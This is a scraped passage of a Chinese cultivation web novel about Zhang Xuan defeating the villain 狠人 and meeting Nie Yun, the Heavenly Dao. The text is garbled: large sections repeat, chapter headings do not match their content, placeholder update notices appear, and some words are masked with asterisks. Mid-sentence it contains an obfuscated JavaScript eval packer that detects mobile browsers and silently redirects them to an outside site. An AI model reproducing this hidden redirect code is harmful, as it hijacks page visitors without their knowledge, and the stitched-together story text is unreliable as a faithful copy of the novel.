如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第67章让我儿和千千万万的守边将士平安归 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546040|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第68章等我回来 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 